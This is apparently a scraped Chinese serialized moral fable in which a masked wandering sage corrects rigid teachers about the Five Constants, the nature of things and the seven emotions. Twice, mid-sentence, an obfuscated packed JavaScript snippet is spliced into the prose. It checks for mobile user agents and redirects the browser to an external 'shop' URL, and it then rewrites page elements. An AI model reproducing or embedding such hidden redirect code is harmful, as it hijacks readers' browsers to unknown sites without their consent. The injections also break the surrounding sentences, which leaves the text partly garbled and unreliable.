三年后的一个初一,祠堂天井里又坐满了人。不仅有清河镇的百姓,还有周边乡镇的乡民。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162444|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常守礼正在讲解“仁义礼智信,此五常”。 “……故曰:五常是常道,非常死。仁有度,方为真仁;义有变,方为真义;礼有实,方为真礼;智有辨,方为真智;信有权,方为真信。死守字面,不知变通,是谓‘五常之蔽’:愚仁、鲁义、虚礼、呆智、痴信。此五蔽,害人害己,不可不察。” 他指着祠堂悬着的《礼记》残篇与《清河五常新事》,道:“列位看,这是古人之训,这是今事之证。守常而不泥常,执德而不拘德,方是正道。” 众人纷纷称是。有外乡夫子问:“常老先生,咱们那儿还有人死守五常,见人行善有度,便斥为‘不仁’;见人审时度势,便斥为‘不义’;见人不行虚礼,便斥为‘无礼’;见人通权达变,便斥为‘不智’;见人商议改诺,便斥为‘无信’。该如何劝解?” 常守礼道:“以事劝之。请其观‘愚仁’之害、‘鲁义’之损、‘虚礼’之伪、‘呆智’之误、‘痴信’之败,再观‘有度之仁’之益、‘有变之义’之利、‘有实之礼’之诚、‘有辨之智’之明、‘有权之信’之通。两相对比,其理自明。” 外乡夫子点头记下。 这时,祠堂门口走进一人。还是芦苇斗笠,粗麻白衣,腰间木剑,脸上蒙着葛布。天井里人声嘈杂,他却静立如松,不惹尘埃。 “常道先生!”常守礼惊喜,忙迎出。 常道化之微微点头,看着祠堂悬着的《礼记》残篇与《清河五常新事》,道:“三年不见,清河气象一新。” 常守礼深揖:“全赖先生点拨!守礼如今知五常是常道,非是铁律,更倡有度之仁、有变之义、有实之礼、有辨之智、有权之信。百姓践行,得益良多!” 常道化之看向众人:“列位于五常之道,所知几何?” 众人纷纷道:“知五常是常道!”“知守常不泥常!”“知有度、有变、有实、有辨、有权!” “好。”常道化之点头,“知五常是常道,则不执死理;知守常不泥常,则能通权变;知有度有变有实有辨有权,则能行真仁、真义、真礼、真智、真信。此乃百姓之智,人伦之福。” 他又问:“然五常之行,易入两歧:一曰过,二曰不及。过仁则愚,过义则鲁,过礼则伪,过智则诈,过信则痴;不及仁则刻,不及义则怯,不及礼则野,不及智则昧,不及信则诈。此又当如何?” 众人肃然。常守礼道:“先生所言极是!五常之行,贵在中和。仁不愚不刻,义不鲁不怯,礼不伪不野,智不诈不昧,信不痴不诈。此所谓‘执两用中’,方是正道。” “正是。”常道化之道,“五常如琴弦,过紧则易断,过松则无声。松紧得宜,方成雅音。仁、义、礼、智、信,亦当如是。不松不紧,不偏不倚,不执不拘,不泥不纵,方是常道。” 他转向众人:“列位当谨记:行仁,当爱人而有度;行义,当守宜而有变;行礼,当重仪而有实;行智,当明理而有辨;行信,当守诺而有权。五常之行,在得其中,不在走极端。” 众人齐声道:“谨记先生教诲!” 常道化之从怀中取出一卷书,递给常守礼:“此乃《五常通变录》,是我游历各地,记录五常得失、过与不及之鉴所编。你可传抄于众,供百姓参考。” 常守礼双手接过,如获至宝。 常道化之又对众人道:“此书可参阅,但需切记:五常之行,在躬行不在空谈。说得仁至义尽,不如行得中道适宜。五常之要,在行不在言,在中不在偏,在通不在泥。” 说罢,他戴上斗笠,走出祠堂。芦苇斗笠在晨光中泛着淡金,粗麻白衣的下摆扫过门槛,不染尘埃。 常守礼对着那背影深深一揖,久久不起。 百姓们也纷纷作揖。 尾声五常谣 多年后,清河镇的孩童玩耍时,会唱一首童谣: 仁义礼智信五常,常老先生死守僵。 愚仁鲁义虚礼伪,呆智痴信把人伤。 常道先生来点化,五常是道非铁律。 仁有度,义有变,礼有实,智有辨,信有权。 从此清河气象新,五常中行人安康。 有外乡人听了,问镇里老人:“这常道先生是何人?” 老人便会指着祠堂说:“是位教人明五常、知通变的先生。他来了,常老先生知错了,百姓醒悟了,咱们镇知道五常是常道、不是铁律了。” “他现在何处?” “不知道。教完道理,他就走了。” “还会回来么?” “等咱们又死守字面、不知变通的时候,他大概就会回来吧。” 外乡人若有所思,走进祠堂。堂中悬着《礼记》残篇与《清河五常新事》,木牌上刻着那十二字:“仁义礼智信,此五常,不容紊。”下面还有一行小字:“然常有度,义有变,礼有实,智有辨,信有权。守常不泥,执德不拘。” 也许那位常道先生,正在某个地方,看人论五常、行中道吧。他想。 他走出祠堂,晨光正好。卖豆腐的吆喝,茶馆的炊烟,木匠的刨花,脚力的脚步。五常之道,看似高远,实则就在这晨光炊烟、刨花脚步之中。 本章诫世 一、 五常真义训 - 曰仁义,礼智信。此五常,不容紊 - 破解法:为学者,自问“可死守五常?可知常是道非律?可曾执常成蔽?”;为行者,自问“可愚仁鲁义?可虚礼呆智痴信?可曾行有度、有变、有实、有辨、有权?” 二、 三谬三正 - 常守礼之谬在“死守”——以五常为铁律,不容变通 - 世俗之谬在“走极端”——或过或不及,愚仁、鲁义、虚礼、呆智、痴信 - 百姓之谬在“盲从”——不知五常真义,盲目践行,反受其害 - 三正:常守礼倡五常新义,百姓明守常不泥,清河行中道适宜 三、 化之大道 - 深层隐喻:仁义礼智信,是人伦常道,然常是道,非是铁律。道有度,有变,有实,有辨,有权。死守字面,不知变通,是执常成蔽;走极端,过或不及,是失道偏行。五常之行,贵在中和,贵在通变,贵在躬行 - 终极指向:世人守德,易入两歧:一曰死守,二曰走极端。死守则僵,走极端则偏。守德当知常是道,道可通变;行德当知中为要,要不偏倚。仁、义、礼、智、信,皆是好德,然需有度、有变、有实、有辨、有权,方是真德。德在行,不在言;在中,不在偏;在通,不在泥 五常偈: 清河祠堂常守礼,死守五常不容紊。 愚仁鲁义虚礼伪,呆智痴信害人多。 常道先生来点化,五常是道非铁律。 从此守常不泥常,中道适宜乐安康。 后世叹: 曰仁义,礼智信,此五常,不容紊。 常生死守成铁律,百姓盲从受其害。 常道先生来点化,五常是道可通变。 三载中行新气象,清河百姓乐融融。 正是: 清河祠堂开讲席,常生死守五常道。 愚仁鲁义虚礼伪,呆智痴信害己身。 常道先生来点破,五常是道非铁律。 从此守常不泥常,中道适宜气象新。 103.万物谳 楔子·药堂奇论 栖霞镇有家“仁济药堂”,每逢三六九集日,药堂主人陈守拙便在门口设座开讲医理药性。这日正值初九,药堂前已围满了人。陈守拙五十来岁,留着山羊须,手持一册《本草经》,正滔滔不绝: “……故曰:天地生万物,各有所用。地所生,有草木,此植物,遍水陆。有虫鱼,有鸟兽,此动物,能飞走。稻粱菽,麦黍稷,此六谷,人所食。马牛羊,鸡犬豕,此六畜,人所饲。万物有序,各归其类,此乃天地之理也!” 围观的多是些市井百姓,有采药的、打柴的、捕鱼的、贩粮的,纷纷点头。 陈守拙捻须继续道:“草木之中,药草为上,可治病救人。故采药当明时令,炮制当遵古法,用药当按君臣佐使。譬如这当归……”他拿起案上一味药材,“当归补血,然必得秋采者为佳。若春采,则性燥;夏采,则力薄。此乃天地时序,不可违逆。” “虫鱼鸟兽亦然。”他又指向墙角笼中一只活兔,“兔血可入药,然必得月圆之夜取血,方有灵效。此乃阴阳之理,不可错乱。” “六谷为食,然食亦有道。”他端起一碗米,“稻米性平,宜常食;粱米性温,宜冬食;菽豆性凉,宜夏食;麦面性燥,宜少食;黍米性黏,宜慎食;稷米性硬,宜熬粥。此乃食性之理,不可不知。” “六畜为饲,然饲亦有方。”他望向街角牛车,“马宜夜饲,牛宜昼饲,羊宜放饲,鸡宜散饲,犬宜定时饲,豕宜稠饲。此乃饲畜之理,不可乱为。” 众人听得如痴如醉。采药的老孙头叹道:“陈先生真乃神医,竟连草木虫鱼、六谷六畜的理都通晓!” 陈守拙面露得色:“万物皆有理,顺之则昌,逆之则亡。故用药必按时令,食谷必按食性,饲畜必按方法,此乃顺天应人之道也!” 这时,人群中传来一个清朗的声音:“此言差矣。” 众人望去,见说话的是个戴斗笠、蒙面纱、穿白衣的外乡人。那斗笠是用细竹与菖蒲叶混编的,檐下缀着几束风干的艾草。白衣是粗葛所制,洗得泛白,袖口有补丁。腰间用麻绳系一柄木剑,剑柄缠着褪色的蓝布。面纱是细麻,遮住了大半张脸,只露出一双明澈如深潭的眼睛。 陈守拙皱眉:“这位兄台,差在何处?” “地所生,有草木。此植物,遍水陆。有虫鱼,有鸟兽。此动物,能飞走。稻粱菽,麦黍稷。此六谷,人所食。马牛羊,鸡犬豕。此六畜,人所饲。”那人缓缓念出这段,声音平和,“此是实情。然陈先生说万物有序,各归其类,用药必按时令,食谷必按食性,饲畜必按方法,却是错了。” “错了?”陈守拙不悦,“此乃古圣先贤所传,岂会有错?” “古圣所传,是大概,非是铁则。”那人走出人群,对众人拱手,“列位乡邻,草木遍水陆,是实。然同一种草,生于山南与山北,性或有异;长于水边与旱地,效或不同。若必按时令,则山南可采时,山北或未熟;水边可用时,旱地或已老。此乃地理之别,岂可一概而论?” 众人窃窃私语。陈守拙面色一沉:“那虫鱼鸟兽又当如何?” “虫鱼鸟兽,能飞走,是实。”那人道,“然兔血入药,必得月圆,此是拘泥。月圆之夜,兔血固佳,然若病急,岂可坐等月圆?况月有盈亏,地有南北,此处月圆,彼处或未圆。此乃天时之变,岂可死守?” 陈守拙额角见汗:“那六谷食性……” “六谷为人所食,是实。”那人道,“然稻米性平,宜常食,不错。然若人患湿热,食稻米或增湿;若人患寒燥,食稻米或得润。食性在人,不在谷。同是稻米,此人食之宜,彼人食之或不宜。此乃人之异,岂可一概?” “六畜为饲……” “六畜为人所饲,是实。”那人道,“然马宜夜饲,牛宜昼饲,此是常理,非是铁律。若马白日劳作,夜间岂可不饲?若牛夜间需用,白昼岂可多饲?饲畜在需,不在时。同是牛马,此家饲之宜,彼家饲之或不宜。此乃用之异,岂可死拘?” 他转向陈守拙:“陈先生,万物有理,是实。然理是活理,非是死理。草木有地异,虫鱼有时变,六谷有人殊,六畜有用别。若将古理奉为铁则,死守时令、食性、方法,则是以理杀人,以法误事。此非顺天应人,乃逆天违人。” 陈守拙面色发白,强撑道:“你……你妄改古法!先贤智慧,岂容轻侮?” 那人摇头:“先贤智慧,是明理,非是立规。理有常,亦有变。明其常,通其变,方是真智慧。若死守成规,不知变通,是谓‘执理成障’。” 他从怀中取出一卷发黄的绢书,展开示众:“此乃《淮南子》残卷,有云:‘橘逾淮为枳’。同是橘树,生于淮南则为橘,生于淮北则为枳。草木尚因地而异,况用法乎?又云:‘兔丝无根而生,蛇无足而行’。万物各有其性,岂可一概而论?” 众人围观,果见绢书有载。 陈守拙踉跄一步,扶住药案,喃喃道:“橘逾淮为枳……万物各有其性……” 众人哗然。有那明理的,叹道:“这位先生说得是!我采药多年,同是当归,山南的就跟山北的不一样,水边的就跟旱地的不同!” “是啊,我捕鱼的知道,同一种鱼,春汛跟秋汛,肥瘦都不一样,岂可一概?” “咱们种地的也知道,同是稻子,水田的跟旱田的,味道都不同!” “养牲口的也知道,同是牛,耕地的跟拉车的,喂法都不一样!” 那人点头:“正是。万物有常理,亦有变理。明常理,可知大概;通变理,可合实际。若死守常理,不知变通,是谓‘执常害变’。” 他转向陈守拙:“陈先生通晓医理药性,是善心。然以常理为铁则,死守时令、食性、方法,是过矣。用药不因时因地因人制宜,是庸医;食谷不因体因疾因时制宜,是愚食;饲畜不因用因力因情制宜,是呆饲。此非治病养人,是误人害畜。” 陈守拙冷汗涔涔,无言以对。 那人拱手道:“今日多言,望列位明理:草木虫鱼,六谷六畜,各有所用。然用有常,亦有变。用药当因时因地因人制宜,食谷当因体因疾因时制宜,饲畜当因用因力因情制宜。守常而不泥常,明理而能通变,方是顺天应人之道。” 说罢,转身欲走。 “先生留步!”陈守拙颤巍巍深揖一礼,“先生一席话,如醍醐灌顶。老朽拘泥古法,执常害变,误人误己。敢问先生高姓大名?” “我姓物,名理,字通之。” “物理通之……”陈守拙喃喃,忽问,“先生这《淮南子》残卷,可否借老朽一观?” “可。”物理通之递过绢书,“此书可传阅,然需切记:万物有理,理有常变。明常可知大概,通变可合实际。执常成障,守理成蔽。” 陈守拙双手接过,如获至宝。 物理通之又对众人道:“道理在此,列位可思可悟。然需切记:口说万物,不如亲察;口说常变,不如践行。草木虫鱼,六谷六畜,皆在眼前。观其异,察其变,用其宜,方是真知。” 说罢,他戴上斗笠,走出人群。菖蒲斗笠在阳光下泛着青翠,粗葛白衣的下摆扫过尘土,不染纤尘。 一、 陈守拙的悔悟 物理通之走后,陈守拙在药堂前呆立良久。他展开《淮南子》残卷,细读“橘逾淮为枳”、“兔丝无根而生,蛇无足而行”等语,又回想物理通之所言,越思越心惊。 “我误人性命二十载啊!” 他想起自己行医二十年,总以古法为铁则,用药必按时令,食谷必按食性。有病人急症,因未到采药时令,便让人苦等,延误病情;有病人体异,因食性不合,便禁食谷类,致人虚弱;有畜生病,因饲法不合古方,便死守成规,致畜死亡。 “那位先生说得好,万物有理,理有常变。明常可知大概,通变可合实际。我死守古法,不知变通,岂不是以理杀人,以法误事?” 他羞愧难当,当即将《本草经》收起,将《淮南子》残卷悬于药堂,对还未散去的众人深揖一礼。 “老朽拘泥古法,误人性命。从今日起,老朽当闭门思过,重研药理,再不墨守成规!” 众人见他诚恳,便劝道:“陈先生知错能改,善莫大焉。只是这草木虫鱼、六谷六畜的理,咱们还想听正解。” 陈守拙便道:“《淮南子》在此,列位可随意观览。老朽每日在此讲解,与列位共悟!” 从此,每逢三六九集日,陈守拙便在药堂前开讲万物新理。他不再说“万物有序,各归其类”,而是讲解草木虫鱼、六谷六畜的常与变。他结合栖霞镇实际,讲用药、食谷、饲畜的因时因地因人因疾因用制宜。 “列位,草木遍水陆,是常。然同一种草,生于山南与山北,性或有异,是变。故采药当观地,山南可采时,山北或未熟,当待之;水边可用时,旱地或已老,当择之。此谓因时因地制宜。” “虫鱼鸟兽能飞走,是常。然兔血入药,月圆固佳,然病急岂可等月圆?当以病为先,时令为次。此谓因病制宜。” “六谷为人所食,是常。然稻米性平,宜常食,然若人患湿热,食之或增湿,当减之;若人患寒燥,食之或得润,当增之。此谓因人因疾制宜。” “六畜为人所饲,是常。然马宜夜饲,牛宜昼饲,然若马白日劳作,夜间岂可不饲?当加饲;若牛夜间需用,白昼岂可多饲?当调饲。此谓因用因力制宜。” 他讲得通透,众人听得豁然开朗。有那曾因“死守时令”、“死按食性”、“死遵饲法”吃过亏的,感慨万千。 “原来万物之理,得这么用!” “是啊,采药得看地,不能光看时令;食谷得看人,不能光看食性;饲畜得看用,不能光看古法!” “陈先生这么一讲,咱们就明白了!” 陈守拙又在药堂前立了块木牌,上书:“地所生,有草木。此植物,遍水陆。有虫鱼,有鸟兽。此动物,能飞走。稻粱菽,麦黍稷。此六谷,人所食。马牛羊,鸡犬豕。此六畜,人所饲。然草木有地异,虫鱼有时变,六谷有人殊,六畜有用别。明常通变,用宜为要。” 二、 百姓的醒悟 陈守拙在药堂前讲万物新理,栖霞镇的百姓渐渐醒悟。 从前,他们以为万物之理是死的:采药必按时令,食谷必按食性,饲畜必按方法。结果,时令不对,急病等死;食性不合,体弱致病;饲法不当,牲畜亡毙。 如今,他们明白了:万物之理是活的。草木因地而异,虫鱼因时而变,六谷因人而宜,六畜因用而别。采药当看地看时看人,食谷当看体看疾看时,饲畜当看用看力看情。理是常,用是变,守常通变,方是正道。 “原来万物之理,得这么懂!” “可不是么!我爹前年急病,需用夏枯草,可陈先生说夏枯草得秋采,结果耽误了。要是早懂这理,管它秋采夏采,救命要紧!” “我娘体寒,陈先生说稻米性平宜常食,结果越吃越寒。后来换个郎中,说体寒得少吃稻米,多吃粱米,果然好了。” “我家那头牛,白日耕地,陈先生说牛宜昼饲,不让夜里喂,结果牛越耕越瘦。后来夜里偷偷喂,牛才壮实。” 有那吃过亏的,现身说法,劝人莫要“死守时令”、“死按食性”、“死遵饲法”。有那开明的,开始践行“因时因地因人制宜”的新理。 采药的,看地看时看人用药;食谷的,看体看疾看时择食;饲畜的,看用看力看情调饲。 镇上的风气,为之一新。死守的少了,变通的多了;误事的少了,得益的多了。 陈守拙在药堂,将百姓践行万物新理的事一一记录,成《栖霞万物新事》。他携此册,奔走于乡邻之间,倡行“因时因地因人因疾因用制宜”之道。 乡邻们见陈守拙变了,也渐改前非。有那曾因“死守时令”延误病情的,如今急病急治,不拘时令;有那曾因“死按食性”致人虚弱的,如今看体择食,不拘食性;有那曾因“死遵饲法”致畜死亡的,如今看用调饲,不拘古法。 万物新理,渐入人心。 三、 《淮南子》的流传 陈守拙倡万物新理之事,渐传周边。附近乡镇的郎中、农夫、畜户,闻讯来栖霞镇取经。陈守拙便将《淮南子》残卷借出传抄,更将《栖霞万物新事》广为散发。 “万物有理,理有常变。此理通行天下。” “草木有地异,虫鱼有时变,六谷有人殊,六畜有用别。明常通变,用宜为要。” “栖霞新事,可供参考。但各地物产不同,当因地制宜。” 抄书者、传册者,回去后亦在本地宣讲。有那开明的郎中、老农、畜户,亦加入其中。一时间,“万物有常变,用宜为要”之理,传遍州县。 有那固执的郎中,初闻此理,斥为“离经叛道”。但见百姓践行,实有裨益,也渐改观念。有那曾因死守古法吃亏的,闻此理如获至宝。 物理通之的名声,渐渐在州县传开。都说有位戴菖蒲斗笠、蒙细麻的高人,深明万物,点破迷障,使人明“万物有理,理有常变”之理,知“明常通变,用宜为要”之道。 四、 三年后的集日 三年后的一个集日,药堂前又围满了人。不仅有栖霞镇的百姓,还有周边乡镇的乡民。 陈守拙正在讲解“地所生,有草木”那一段。 “……故曰:万物有理,理有常变。草木遍水陆,是常;然同种异性,是变。虫鱼能飞走,是常;然同种异时,是变。六谷人所食,是常;然同食异效,是变。六畜人所饲,是常;然同饲异宜,是变。明其常,可知大概;通其变,可合实际。死守常理,不知变通,是谓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162445|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘执常害变’。” 他指着药堂前悬着的《淮南子》残卷与《栖霞万物新事》,道:“列位看,这是古人之训,这是今事之证。守常而不泥常,明理而能通变,方是真智慧。” 众人纷纷称是。有外乡郎中问:“陈先生,咱们那儿还有人死守古法,采药必按时令,用药必按方书,食谷必按食性,饲畜必按古方。见人变通,便斥为‘胡来’。该如何劝解?” 陈守拙道:“以事劝之。请其观‘死守时令’之误、‘死按食性’之害、‘死遵饲法’之损,再观‘因时制宜’之效、‘因人制宜’之益、‘因用制宜’之利。两相对比,其理自明。” 外乡郎中点头记下。 这时,人群中走出一人。还是菖蒲斗笠,粗葛白衣,腰间木剑,脸上蒙着细麻。集市喧嚣,他却静立如松,不惹尘埃。 “物理先生!”陈守拙惊喜,忙迎出。 物理通之微微点头,看着药堂前悬着的《淮南子》残卷与《栖霞万物新事》,道:“三年不见,栖霞气象一新。” 陈守拙深揖:“全赖先生点拨!守拙如今知万物有理,理有常变,更倡因时因地因人因疾因用制宜。百姓践行,得益良多!” 物理通之看向众人:“列位于万物之理,所知几何?” 众人纷纷道:“知万物有理!”“知理有常变!”“知明常通变,用宜为要!” “好。”物理通之点头,“知万物有理,则不妄为;知理有常变,则不泥古;知明常通变,用宜为要,则能合实际。此乃百姓之智,万物之幸。” 他又问:“然万物之用,易入两歧:一曰泥古,二曰妄为。泥古者,死守常理,不知变通;妄为者,无视常理,胡作非为。此又当如何?” 众人肃然。陈守拙道:“先生所言极是!万物之用,贵在合宜。泥古则蔽,妄为则乱。明常以知大概,通变以合实际,用宜以得其中,方是正道。” “正是。”物理通之道,“万物如流水,有常道,亦有变途。知常道,可顺流而下;通变途,可避礁而行。若死守常道,遇礁不知避,是愚;若无视常道,任意妄行,是莽。明常通变,用宜得中,方是善用。” 他转向众人:“列位当谨记:用草木,当知地异时变;用虫鱼,当知时异性异;用六谷,当知人异疾异;用六畜,当知用异力异。知其常,通其变,用其宜,方是顺天应人。” 众人齐声道:“谨记先生教诲!” 物理通之从怀中取出一卷书,递给陈守拙:“此乃《万物宜用录》,是我游历各地,记录万物常变、用宜得失之鉴所编。你可传抄于众,供百姓参考。” 陈守拙双手接过,如获至宝。 物理通之又对众人道:“此书可参阅,但需切记:万物之理,在察不在背。背得千条理,不如察得一事变。草木虫鱼,六谷六畜,皆在眼前。细察其异,深通其变,善用其宜,方是真知。” 说罢,他戴上斗笠,走入人群。菖蒲斗笠在阳光下泛着青翠,粗葛白衣的下摆扫过尘土,不惹尘埃。 陈守拙对着那背影深深一揖,久久不起。 百姓们也纷纷作揖。 尾声万物谣 多年后,栖霞镇的孩童玩耍时,会唱一首童谣: 地生草木遍水陆,虫鱼鸟兽能飞走。 六谷人食六畜饲,陈医死守不知变。 物理先生来点化,万物有理有常变。 明常通变用其宜,草木虫鱼皆顺应。 六谷六畜因人异,从此栖霞无病灾。 有外乡人听了,问镇里老人:“这物理先生是何人?” 老人便会指着药堂说:“是位教人明万物、知常变的先生。他来了,陈先生知错了,百姓醒悟了,咱们镇知道万物有理、理有常变了。” “他现在何处?” “不知道。教完道理,他就走了。” “还会回来么?” “等咱们又死守成法、不知变通的时候,他大概就会回来吧。” 外乡人若有所思,走到药堂前。堂前悬着《淮南子》残卷与《栖霞万物新事》,木牌上刻着那段话:“地所生,有草木……此六畜,人所饲。”下面还有一行小字:“然草木有地异,虫鱼有时变,六谷有人殊,六畜有用别。明常通变,用宜为要。” 也许那位物理先生,正在某个地方,看人用万物、察常变吧。他想。 他走出集市,夕阳西下。采药的归来,捕鱼的收网,农人荷锄,牧童驱牛。万物之理,看似高深,实则就在这草木虫鱼、六谷六畜之中。 本章诫世 一、 万物真义训 - 地所生,有草木。此植物,遍水陆。有虫鱼,有鸟兽。此动物,能飞走。稻粱菽,麦黍稷。此六谷,人所食。马牛羊,鸡犬豕。此六畜,人所饲。 - 破解法:为医者,自问“可死守古法?可知理有常变?可曾因时因地因人制宜?”;为民者,自问“可泥古不化?可知万物有异?可曾察异通变?” 二、 三谬三正 - 陈守拙之谬在“泥古”——以古法为铁则,死守时令、食性、饲法 - 世俗之谬在“盲从”——不知万物有异,盲目遵从,反受其害 - 百姓之谬在“执常”——不知理有常变,死守常理,误事害己 - 三正:陈守拙倡万物新理,百姓明常变之道,栖霞行制宜之法 三、 通之大道 - 深层隐喻:万物有理,理有常变。草木虫鱼,六谷六畜,各有其性,各有其用。然性有异,用有别,时地人疾用,皆可致变。死守常理,不知变通,是执常成障;无视常理,胡作非为,是妄为成乱。明常通变,用宜得中,方是善用万物之道 - 终极指向:世人用物,易入两歧:一曰泥古,二曰妄为。泥古则蔽,妄为则乱。用物当知物有常性,亦有变异;当明常以知大概,通变以合实际,用宜以得其中。草木虫鱼,六谷六畜,皆是天赐,善用则利人,误用则害人。用物在察,不在背;在通,不在泥;在宜,不在固 万物偈: 栖霞药堂陈守拙,死守古法不知变。 草木虫鱼六谷物,六畜饲法皆成规。 物理先生来点化,万物有理有常变。 明常通变用其宜,从此百姓得安康。 后世叹: 地生草木遍水陆,虫鱼鸟兽能飞走。 六谷人食六畜饲,陈医泥古不知变。 物理先生来点化,万物常变用宜要。 三载制宜新气象,栖霞百姓乐陶陶。 正是: 栖霞药堂讲医理,陈医死守古法严。 草木虫鱼皆成规,六谷六畜俱按方。 物理先生来点破,万物常变用宜中。 从此明常更通变,百姓得益乐无穷。 104.七情谳 楔子·戏台谬论 云梦镇有座老戏台,每逢朔望之日,镇上“明理堂”的讲书先生宋守中便在此开讲人伦道理。这日正值望日,戏台下已挤满了人。宋守中四十许年纪,穿一袭洗得发白的青布长衫,手持一卷《性理大全》,正襟危坐在戏台中央的方桌后,声音清朗: “……故曰:人有七情,曰喜、曰怒、曰哀、曰惧、爱、恶、欲。此七情,俱是人之常情。然情不可纵,纵则伤身;情不可抑,抑则伤性。当以理节之,以礼约之,以道导之。喜怒哀惧,发而皆中节;爱恶欲求,行而皆合道。此乃圣人之教,修身之本也!” 台下多是些市井百姓,有开茶馆的、做点心的、打铁的、走镖的,纷纷点头称是。 宋守中放下书卷,捻须续道:“喜不可过喜,过喜则伤神。譬如中举登科,固当欢喜,然若狂喜无度,手舞足蹈,成何体统?怒不可过怒,过怒则伤肝。譬如遇不平事,固当愤慨,然若暴怒失态,言语无状,成何模样?哀不可过哀,过哀则伤心。譬如丧亲之痛,固当悲戚,然若哀毁骨立,茶饭不思,岂非不孝?惧不可过惧,过惧则伤胆。譬如遇险临危,固当惊惧,然若惶惶不可终日,畏首畏尾,岂是丈夫?” 他顿了顿,环视台下:“爱不可滥爱,滥爱则伤德。譬如爱子之心,人皆有之,然若溺爱无度,纵子为恶,岂非害子?恶不可妄恶,妄恶则伤仁。譬如恶人之行,固当鄙弃,然若迁怒无辜,牵连旁人,岂是君子?欲不可纵欲,纵欲则伤身。譬如饮食男女,人之大欲,然若纵情声色,饕餮无度,岂非自毁?” 众人听得入神。开茶馆的刘掌柜叹道:“宋先生说得是!人这七情,是该管着点。上个月东街王二麻子中了个小彩,喜得满街打滚,结果笑岔了气,躺了三天!” “可不是,”做点心的赵大娘接话,“西巷李铁匠,前日因价钱跟人争执,怒得砸了自家铁砧,手都伤了!” 宋守中面露得色,正待开口,戏台侧面传来一个温和的声音:“此言谬矣。” 众人循声望去,见戏台旁老槐树下立着一人。斗笠是用细竹与荷叶混编,檐边缀着几缕风干的蓼草。白衣是粗麻所制,虽旧却洁净,衣摆处打着整齐的补丁。腰间悬一柄木剑,剑柄缠着褪色的靛蓝布条。面上蒙着细葛面纱,只露出一双沉静如古井的眼睛。 宋守中眉头微皱:“这位兄台,谬在何处?” “曰喜怒,曰哀惧。爱恶欲,七情俱。”那人缓步走上戏台,对台下众人略一拱手,声音平和,“此话不错。然宋先生说‘情不可纵,亦不可抑,当以理节之,以礼约之,以道导之’,却是谬了。” “谬了?”宋守中不悦,“七情若水,不节则泛滥,不导则横流。以理节之,以礼约之,以道导之,有何不妥?” “情是水,不错。”那人道,“然水有水性,可疏不可堵,可导不可抑。以理节之,是以堤坝堵水;以礼约之,是以沟渠限水;以道导之,是以河道引水。堵则壅,限则滞,引则可,然强引亦成害。情之在人,当发而发,当止而止,发乎自然,止乎自然,岂可以理、礼、道强加节制?” 台下哗然。宋守中脸色一沉:“愿闻其详。” “喜是真情,为何不可过喜?”那人转向众人,“中举登科,十年寒窗,一朝得中,欣喜若狂,手舞足蹈,正是真情流露。若强作镇定,面无表情,是真情,还是假意?过喜伤神,不错。然伤神者是狂喜无度,非是喜之过,是度之失。当导其有度,非抑其喜。” “怒是义愤,为何不可过怒?”他又道,“遇不平事,义愤填膺,拍案而起,正是血性男儿。若强压怒火,忍气吞声,是明哲保身,还是懦弱无能?过怒伤肝,不错。然伤肝者是暴怒失控,非是怒之过,是控之失。当导其有控,非抑其怒。” “哀是至情,为何不可过哀?”他声音转柔,“丧亲之痛,肝肠寸断,茶饭不思,正是至情至性。若强作从容,谈笑如常,是孝,还是无情?过哀伤心,不错。然伤心者是哀毁逾礼,非是哀之过,是礼之失。当导其有节,非抑其哀。” “惧是常情,为何不可过惧?”他续道,“遇险临危,惊惧恐慌,人之常情。若强作镇定,面不改色,是勇敢,还是麻木?过惧伤胆,不错。然伤胆者是惶惶失据,非是惧之过,是据之失。当导其有据,非抑其惧。” 宋守中额角见汗:“那爱恶欲又当如何?” “爱是本性,为何不可滥爱?”那人道,“爱子之心,人皆有之。溺爱无度,纵子为恶,是爱之失度,非是爱之过。当导其有方,非抑其爱。恶是常情,为何不可妄恶?恶人之行,固当鄙弃,然迁怒无辜,是恶之失当,非是恶之过。当导其有当,非抑其恶。欲是天性,为何不可纵欲?饮食男女,人之大欲,纵情声色,是欲之失度,非是欲之过。当导其有度,非抑其欲。” 他转向宋守中:“宋先生,七情是人性,非是祸水。情不可纵,亦不可抑。纵则泛滥,抑则郁结。当发而发,当止而止,发乎自然,止乎自然。以理节之,是以理抑情;以礼约之,是以礼缚情;以道导之,是以道制情。此非修身,乃害性也。” 宋守中面色发白,强撑道:“你……你这是纵情之说!圣人有云:发乎情,止乎礼义……” “圣人云发乎情,止乎礼义,是谓情发乎自然,礼义是止之度,非是强加枷锁。”那人从怀中取出一卷竹简,展开示众,“此乃《礼记·乐记》篇:‘人生而静,天之性也;感于物而动,性之欲也。’又云:‘故圣人耐以天下为一家,以中国为一人者,非意之也,必知其情,辟于其义,明于其利,达于其患,然后能为之。’圣人明情、辟义、明利、达患,是导情,非抑情。若一味以理、礼、道强加节制,是谓‘以理杀人,以礼缚人,以道困人’。” 台下众人围观,果见竹简有载。 宋守中踉跄一步,扶住方桌,喃喃道:“发乎情,止乎礼义……是导非抑……” 众人哗然。有那明理的,叹道:“这位先生说得是!人非草木,孰能无情?喜就该喜,怒就该怒,强忍着,憋出病来!” “是啊,我爹去世时,我哭得昏天黑地,邻居劝我‘节哀’,可我心里痛,不哭出来更难受!” “上月我儿中童生,我喜得在院里翻了三个跟头,街坊说我‘失态’,可我心里欢喜,为何不能翻跟头?” 